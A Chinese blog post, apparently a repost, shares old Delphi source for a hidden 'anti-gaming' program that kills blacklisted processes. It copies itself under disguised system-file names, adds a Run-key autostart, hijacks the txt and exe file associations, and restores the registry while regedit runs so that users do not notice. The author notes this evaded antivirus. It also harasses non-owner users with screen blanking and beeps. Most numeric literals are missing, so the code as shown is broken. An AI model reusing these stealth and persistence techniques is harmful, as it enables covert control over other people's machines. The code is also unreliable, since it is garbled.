偶然翻到很久以前用DELPHI写的一个小程序,实现功能是在后台默默关闭符合条件的进程,并隐藏自身。编写目的是为了防止办公电脑运行游戏。

实现原理是:

1、程序运行后将自身以不同的名称一式三份存到系统各目录中,将其中一个COPY写到注册表里开机自启动,然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY,达到监控目的。

2、程序一但激活首先会确认各COPY是否存在以及注册表关联是否正常,然后再检查系统是否运行在禁止名单中的进程,发现就杀死。

3、如果程序监控到用户运行regedit则会将注册表改回正常值,当regedit退出后再将修改写回,以防用户发现。(这在杀毒软件还很落后的年代效果还是相当好的)

4、程序保留了卸载的功能,代码里有写。

自己感觉挺有意思,把代码发上来留个纪念。

 //为了防止一些人上班就玩游戏的恶习所编
program HK; uses
Windows,
Messages,
SysUtils,
System,
Classes,
Registry,
Forms,
Controls,
LoadDLL in 'LoadDLL.pas'; var
I:Integer;
SPath,WPath:PCHAR;
pa:string;
hnd: THandle;
sp:boolean;
sFileName:String; //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall; //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess'; procedure procRun(exeName,exePath:PChar;trace:boolean);
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
FillChar(SUInfo, SizeOf(SUInfo), #);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow :=;
end;
if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
begin
if trace then
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
end; procedure procSetReg(rest:boolean);
var
Reg:TRegistry;
begin
Reg:=Tregistry.Create;
try
if rest then
begin
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('','"%1" %*');
reg.closekey;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.DeleteValue('SysOleRun');
reg.closekey;
end
else
begin
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
Reg.CloseKey;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\WinODBC.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
reg.closekey;
end;
finally
Reg.Free;
end;
end; procedure BeepEx(feq:word=;delay:word=); procedure BeepOff;
begin
asm
in al,$;
and al,$fc;
out $,al;
end;
end;
const
scale=;
var
temp:word;
begin
temp:=scale div feq;
asm
in al,61h;
or al,;
out 61h,al;
mov al,$b6;
out 43h,al;
mov ax,temp;
out 42h,al;
mov al,ah;
out 42h,al;
end;
sleep(delay);
beepoff;
end; procedure UserPass();
var
a,b:integer;
t:longword;
UserName:PCHAR;
begin
if sp then
begin
t:=;
GetMem(UserName,);
try
getusername(UserName,t);
if UserName<>'lykyl' then
begin
messagebox(,'非法用户,操作限制!','系统警告!',MB_OK);
for a:= to do
begin
SendMessage(, WM_SYSCOMMAND, SC_MONITORPOWER, );
for b:= to do
begin
BeepEx(,);
beepex(,);
end;
SendMessage(, WM_SYSCOMMAND, SC_MONITORPOWER, -);
messagebox(,'非法用户身份确定','系统警告!',MB_OK);
end;
end;
finally
freemem(UserName);
end;
end;
end;
{$R *.RES} begin
hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
if GetLastError = ERROR_ALREADY_EXISTS then
sp:=false
else
sp:=true;
//RegisterServiceProcess(, RSP_SIMPLE_SERVICE);
GetMem(SPath,);
GetMem(WPath,);
GetSystemDirectory(SPath,);
GetWindowsDirectory(WPath,);
SetLength(sFileName,);
GetModuleFileName(GetCurrentProcess,Pchar(sFileName),);
sFileName:=Pchar(sFileName);
try
if ExtractFileName(sFileName)='lykyl.exe' then
procSetReg(true)
else
begin
Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
procSetReg(false);
for i:= to ParamCount do
if i= then
pa:=ParamStr(i)
else
pa:=pa+' '+ParamStr(i);
if Pa <>'' then
begin
if ExtractFileName(sFileName)='WINODBC.EXE' then
begin
UserPass();
procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
end
else
if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
begin
UserPass();
if AnsiStrPos(pchar(pa),'regedit')<>nil then
begin
procSetReg(true);
procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
procSetReg(false);
end
else
begin
procRun(PChar(pa),pchar(extractfilepath(pa)),false);
end;
end;
end;
end;
finally
freemem(SPath);
freemem(WPath);
if hnd <> then CloseHandle(hnd);
// RegisterServiceProcess(, RSP_UNREGISTER_SERVICE);
end;
end.

DELPHI实现关闭指定进程,自身防杀的更多相关文章

  1. Delphi 中关闭指定进程的方法

    Uses Windows, SysUtils, Tlhelp32 ; Function KillTask( ExeFileName: String ): Integer ; //关闭进程 Functi ...

  2. mac查看当前调用tcp的进程并关闭指定进程

    查看所有tcp进程 监听的端口 lsof -iTCP -sTCP:LISTEN 查看指定端口信息 lsof -i: 关闭指定进程 kill -

  3. Shell 关闭指定进程

    例如要关闭jupyter-notebook这个进程: - | 说明:管道符“|”用来隔开两个命令,管道符左边命令的输出会作为管道符右边命令的输入. “ps -ef” 查看所有进程 “grep -v g ...

  4. shell关闭指定进程

    例如要关闭jupyter-notebook这个进程: ps -ef | grep jupyter-notebook | grep -v grep | cut -c 9-15 | xargs kill ...

  5. C#如何关闭指定进程

    public static void KillProcess(string strProcessesByName)//关闭线程 { foreach (Process p in Process.GetP ...

  6. Inno Setup安装时不能关闭指定进程

    脚本由 Inno Setup 脚本向导 生成!; 有关创建 Inno Setup 脚本文件的详细资料请查阅帮助文档! #define MyAppName "XX管理系统"#defi ...

  7. 性能优化-service进程防杀

    service作为后台服务,其重要性不言而喻,但很多时候service会被杀死,从而失去了我们原本想要其发挥的作用,在这种情况下我们该如何确保我们的service不被杀死就是本节需要讨论的内容了 se ...

  8. 使用VC++通过远程进程注入来实现HOOK指定进程的某个API

    前阵子读到一篇关于<HOOK API入门之Hook自己程序的MessageBoxW>的博客,博客地址:http://blog.csdn.net/friendan/article/detai ...

  9. Inno Setup 系列之安装、卸载前检测进程运行情况并关闭相应进程

    需求 最近用 Inno Setup 做一个exe,可是在安装之前要停止正在运行的相应进程或者在卸载之前要停止正在运行的相应进程,可是发现它自身的方法不能满足要求,最后经过度娘的耐心帮助下终于在网上找到 ...

随机推荐

  1. Apache许可协议Open RIA Services

    Jeff Handley's进行了多年的项目--基于一份开源许可发布WCF RIA Services.遵循Apache 2许可,捐赠给Outercurve基金会的ASP.NET Open Source ...

  2. UML类图的6大关系

    <小酌重构系列>已经完成了大约1/3了,在这些文章中,我使用了一些简单的类图来描述重构策略.在之后的文章中,我可能会借助稍微复杂一些的UML类图来介绍.但是在此之前,我觉得有必要先介绍一下 ...

  3. 大叔也学Xamarin系列

    回到占占推荐博客索引 我就是我,请叫我仓储大叔 大叔听很多客户说,xamarin的资料网上太少了,是的,大叔也相信,因为大叔在学xamarin里确实很费劲,只能看看androd for java了,呵 ...

  4. Solr的原理及在项目中的使用实例.

    前面已经讲过 如果安装及配置Solr服务器了, 那么现在我们就来正式在代码中使用Solr.1,这里Solr主要是怎么使用的呢?  当我们在前台页面搜索商品名称关键词时, 我们这时是在Solr库中去查找 ...

  5. MyEclipse中屏蔽js检验

    方法一: 右键工程-->properties-->Myeclipse-->validation-->Excluded Resource,勾选需要取消验证的文件或者文件夹就可以了 ...

  6. Laravel 5.3 请求处理管道详解

    对于一个Web应用来说,在一个请求真正处理前,我们可能会对请求做各种各样的判断,然后才允许后续处理. 我们通常的做法: Script 01.php Script 02.php 优点:直观,容易理解 缺 ...

  7. VS-项目发布失败的解决方案1

    报错信息 错误 1 未能将文件 Script\easyui\themes\gray\images\Thumbs.db 复制到 obj\Release\Package\PackageTmp\Script ...

  8. Bower : ENOGIT git is not installed or not in the PATH

    解决方法一: 添加git到window的环境变量中.设置path路径为C:\Program Files\Git\bin 解决方法二: $ set PATH=%PATH%;C:\Program File ...

  9. 【转】批量复制操作(SqlBulkCopy)的出错处理:事务提交、回滚

    原文地址:http://blog.csdn.net/westsource/article/details/6658109 默认情况下,批量复制操作作为独立的操作执行. 批量复制操作以非事务性方式发生, ...

  10. js self = this的解释

    Demo 1: function Person(){ this.name = 'hjzgg'; this.age = 24; this.show = function(){ alert(name + ...